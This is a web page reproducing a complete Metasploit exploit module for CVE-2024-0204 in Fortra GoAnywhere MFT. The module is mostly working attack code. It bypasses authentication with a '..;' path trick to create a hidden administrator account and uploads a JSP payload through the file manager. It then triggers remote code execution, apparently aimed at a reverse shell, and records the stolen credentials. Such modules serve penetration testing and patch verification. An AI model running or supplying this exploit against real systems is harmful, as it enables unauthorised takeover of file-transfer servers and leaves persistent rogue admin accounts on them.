Fortra GoAnywhere MFT Unauthenticated Remote Code Execution

Related Vulnerabilities: cve-2024-0204   CVE-2024-0204  
Publish Date: 02 Feb 2024
                							

                ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::FileDropper
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fortra GoAnywhere MFT Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to
          create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere
          MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # MSF RCE Exploit
          'James Horseman', # Original auth bypass PoC/Analysis
          'Zach Hanley' # Original auth bypass PoC/Analysis
        ],
        'References' => [
          ['CVE', '2024-0204'],
          ['URL', 'https://www.fortra.com/security/advisory/fi-2024-001'], # Vendor Advisory
          ['URL', 'https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/']
        ],
        'DisclosureDate' => '2024-01-22',
        'Platform' => %w[linux win],
        'Arch' => [ARCH_JAVA],
        'Privileged' => true, # Could be 'NT AUTHORITY\SYSTEM' on Windows, or a non-root user 'gamft' on Linux.
        'Targets' => [
          [
            # Tested on GoAnywhere 7.4.0 with the payload java/jsp_shell_reverse_tcp
            'Automatic', {}
          ],
          [
            'Linux',
            {
              'Platform' => 'linux',
              'GOANYWHERE_INSTALL_PATH' => '/opt/HelpSystems/GoAnywhere'
            }
          ],
          [
            'Windows',
            {
              'Platform' => 'win',
              'GOANYWHERE_INSTALL_PATH' => 'C:\\Program Files\\Fortra\\GoAnywhere\\'
            },
          ],
        ],
        'DefaultOptions' => {
          'RPORT' => 8001,
          'SSL' => true
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS,
            # A new admin account is created, which the exploit can't destroy.
            CONFIG_CHANGES,
            # The upload may leave payload artifacts if the FileDropper mixins cleanup handlers cannot delete them.
            ARTIFACTS_ON_DISK
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the web application', '/goanywhere/']),
      ]
    )
  end

  def check
    # We can query an undocumented unauthenticated REST API endpoint and pull the version number.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/rest/gacmd/v1/system')
    )

    return CheckCode::Unknown('Connection failed') unless res

    return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200

    json_data = res.get_json_document

    product = json_data.dig('data', 'product')

    version = json_data.dig('data', 'version')

    return CheckCode::Unknown('No version information in response') if product.nil? || version.nil?

    # As per the Fortra advisory, the following version are affected:
    # * Fortra GoAnywhere MFT 6.x from 6.0.1
    # * Fortra GoAnywhere MFT 7.x before 7.4.1
    # This seems to imply version 6.0.1 through to 7.4.0 (inclusive) are vulnerable.
    if Rex::Version.new(version).between?(Rex::Version.new('6.0.1'), Rex::Version.new('7.4.0'))
      return CheckCode::Appears("#{product} #{version}")
    end

    Exploit::CheckCode::Safe("#{product} #{version}")
  end

  def exploit
    # CVE-2024-0204 allows an unauthenticated attacker to create a new administrator account on the target system. So
    # we generate the username/password pair we want to use.
    # Note: We cannot delete the administrator account that we create.
    admin_username = Rex::Text.rand_text_alpha_lower(8)
    admin_password = Rex::Text.rand_text_alphanumeric(16)

    # By using a double dot path segment with a semicolon in it, we can bypass the servers attempts to block access to
    # the /wizard/InitialAccountSetup.xhtml endpoint that allows new admin account creation. As we leverage a double
    # dot path segment, we need a directory to navigate down from, there are many available on the target so we pick
    # a random one that we know works.
    path_segments = %w[styles fonts auth help]

    path_segment = path_segments.sample

    # This is CVE-2024-0204...
    initialaccountsetup_endpoint = "/#{path_segment}/..;/wizard/InitialAccountSetup.xhtml"

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, initialaccountsetup_endpoint),
      'keep_cookies' => true,
      'vars_post' => {
        'javax.faces.ViewState' => get_viewstate(initialaccountsetup_endpoint),
        'j_id_u:creteAdminGrid:username' => admin_username,
        'j_id_u:creteAdminGrid:password' => admin_password,
        'j_id_u:creteAdminGrid:password_hinput' => admin_password,
        'j_id_u:creteAdminGrid:confirmPassword' => admin_password,
        'j_id_u:creteAdminGrid:confirmPassword_hinput' => admin_password,
        'j_id_u:creteAdminGrid:submitButton' => '',
        'createAdminForm_SUBMIT' => 1
      }
    )

    # The method com.linoma.ga.ui.admin.users.InitialAccountSetupForm.InitialAccountSetupForm.submit will call method
    # loginNewAdminUser and update our current session, so we dont need to manually login.
    unless res&.code == 302 && res.headers['Location'] == normalize_uri(target_uri.path, 'Dashboard.xhtml')
      fail_with(Failure::UnexpectedReply, "Unexpected reply 1 from #{initialaccountsetup_endpoint}")
    end

    print_status("Created account: #{admin_username}:#{admin_password}. Note: This account will not be deleted by the module.")

    store_credentials(admin_username, admin_password)

    # Automatic targeting will detect the OS and product installation directory, by querying the About.xhtml page.
    if target.name == 'Automatic'
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, '/help/About.xhtml'),
        'keep_cookies' => true
      )

      unless res&.code == 200
        fail_with(Failure::UnexpectedReply, 'Unexpected reply 2 from About.xhtml')
      end

      # The OS name could be something like "Linux" or "Windows Server 2022". Under the hood, GoAnywhere is using
      # the Java system property "os.name".
      os_match = res.body.match(%r{<span id="AboutForm:\S+:OSName">(.+)</span>})
      unless os_match
        fail_with(Failure::UnexpectedReply, 'Did not locate OSName in About.xhtml')
      end

      # To perform the JSP payload upload, we need to know the product installation path.
      install_match = res.body.match(%r{<span id="AboutForm:\S+:goAnywhereHome">(.+)</span>})
      unless install_match
        fail_with(Failure::UnexpectedReply, 'Did not locate goAnywhereHome in About.xhtml')
      end

      # Find the Metasploit target (Linux/Windows) via a substring of the OS name we get back from GoAnywhere.
      found_target = targets.find do |t|
        os_match[1].downcase.include? t.name.downcase
      end

      unless found_target
        fail_with(Failure::NoTarget, "Unable to select an automatic target for '#{os_match[1]}'")
      end

      # Dup the target we found, as we patch in the GOANYWHERE_INSTALL_PATH below.
      detected_target = found_target.dup

      detected_target.opts['GOANYWHERE_INSTALL_PATH'] = install_match[1]

      print_status("Automatic targeting, detected OS: #{detected_target.name}")
      print_status("Automatic targeting, detected install path: #{detected_target['GOANYWHERE_INSTALL_PATH']}")
    else
      detected_target = target
    end

    # We are going to upload a JSP payload via the FileManager interface. We first have to get the FileManager, then
    # change to the directory we want to upload to, then upload the file.

    path_separator = detected_target['Platform'] == 'win' ? '\\' : '/'

    # We drop the JSP payload to a location such as: /opt/HelpSystems/GoAnywhere/adminroot/PAYLOAD_NAME.jsp
    adminroot_path = detected_target['GOANYWHERE_INSTALL_PATH']
    adminroot_path += path_separator unless adminroot_path.end_with? path_separator
    adminroot_path += 'adminroot'
    adminroot_path += path_separator

    viewstate = get_viewstate('/tools/filemanager/FileManager.xhtml')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
      'keep_cookies' => true,
      'vars_post' => {
        'javax.faces.ViewState' => viewstate,
        'j_id_4u:j_id_4v:newPath_focus' => '',
        'j_id_4u:j_id_4v:newPath_input' => '/',
        'j_id_4u:j_id_4v:newPath_editableInput' => adminroot_path,
        'j_id_4u:j_id_4v:NewPathButton' => '',
        'j_id_4u_SUBMIT' => 1
      }
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply 4 from FileManager.xhtml')
    end

    # We require a regID value form the page to upload a file, so we pull that out here.
    vs_input = res.get_html_document.at('input[name="reqId"]')

    unless vs_input&.key? 'value'
      fail_with(Failure::UnexpectedReply, 'Did not locate reqId in reply 4 from FileManager.xhtml')
    end

    request_id = vs_input['value']

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
      'keep_cookies' => true,
      'vars_post' => {
        'javax.faces.ViewState' => viewstate,
        'javax.faces.partial.ajax' => 'true',
        'javax.faces.source' => 'uploadID',
        'javax.faces.partial.execute' => 'uploadID',
        'javax.faces.partial.render' => '@none',
        'uploadID' => 'uploadID',
        'uploadID_sessionCheck' => 'true',
        'reqId' => request_id,
        'whenFileExists_focus' => '',
        'whenFileExists_input' => 'rename',
        'uploaderType' => 'filemanager',
        'j_id_4i_SUBMIT' =>  1
      }
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply 5 from FileManager.xhtml')
    end

    jsp_filename = Rex::Text.rand_text_alphanumeric(8) + '.jsp'

    message = Rex::MIME::Message.new

    message.add_part(request_id, nil, nil, 'form-data; name="reqId"')
    message.add_part('', nil, nil, 'form-data; name="whenFileExists_focus"')
    message.add_part('rename', nil, nil, 'form-data; name="whenFileExists_input"')
    message.add_part('filemanager', nil, nil, 'form-data; name="uploaderType"')
    message.add_part('1', nil, nil, 'form-data; name="j_id_4i_SUBMIT"')
    message.add_part(viewstate, nil, nil, 'form-data; name="javax.faces.ViewState"')
    message.add_part('true', nil, nil, 'form-data; name="javax.faces.partial.ajax"')
    message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.partial.execute"')
    message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.source"')
    message.add_part('1', nil, nil, 'form-data; name="uniqueFileUploadId"')
    message.add_part(payload.encoded, 'text/plain', nil, "form-data; name=\"uploadID\"; filename=\"#{jsp_filename}\"")

    # We can now upload our payload...
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
      'keep_cookies' => true,
      'ctype' => 'multipart/form-data; boundary=' + message.bound,
      'data' => message.to_s
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply 6 from FileManager.xhtml')
    end

    # Register our payload so it is deleted when the session is created.

    jsp_filepath = adminroot_path + jsp_filename

    print_status("Dropped payload: #{jsp_filepath}")

    # We are using the FileDropper mixin to automatically delete this file after a session has been created.
    register_file_for_cleanup(jsp_filepath)

    # A copy of the files this user uploads is left here:
    # /opt/HelpSystems/GoAnywhere/userdata/documents/ADMIN_USERNAME/PAYLOAD_NAME.jsp
    # We register these to be deleted, but they appear to be locked, preventing deleting.
    userdoc_path = detected_target['GOANYWHERE_INSTALL_PATH']
    userdoc_path += path_separator unless userdoc_path.end_with? path_separator
    userdoc_path += 'userdata'
    userdoc_path += path_separator
    userdoc_path += 'documents'
    userdoc_path += path_separator
    userdoc_path += admin_username
    userdoc_path += path_separator

    register_file_for_cleanup(userdoc_path + jsp_filename)

    register_dir_for_cleanup(userdoc_path)

    # Finally, trigger our payload via a GET request...
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, jsp_filename)
    )

    # NOTE: it is not possible to delete the user account we created as we cant delete ourself either via the web
    # interface or REST API.
  end

  # Helper method to pull out a viewstate identifier from a requests HTML response.
  def get_viewstate(endpoint)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, endpoint),
      'keep_cookies' => true
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, "Unexpected reply during get_viewstate via '#{endpoint}'.")
    end

    vs_input = res.get_html_document.at('input[name="javax.faces.ViewState"]')

    unless vs_input&.key? 'value'
      fail_with(Failure::UnexpectedReply, "Did not locate ViewState during get_viewstate via '#{endpoint}'.")
    end

    vs_input['value']
  end

  def store_credentials(username, password)
    service_data = {
      address: datastore['RHOST'],
      port: datastore['RPORT'],
      service_name: 'GoAnywhere MFT Admin Interface',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: username,
      private_data: password,
      private_type: :password
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      last_attempted_at: DateTime.now,
      status: Metasploit::Model::Login::Status::SUCCESSFUL
    }.merge(service_data)

    create_credential_login(login_data)
  end
end
<p>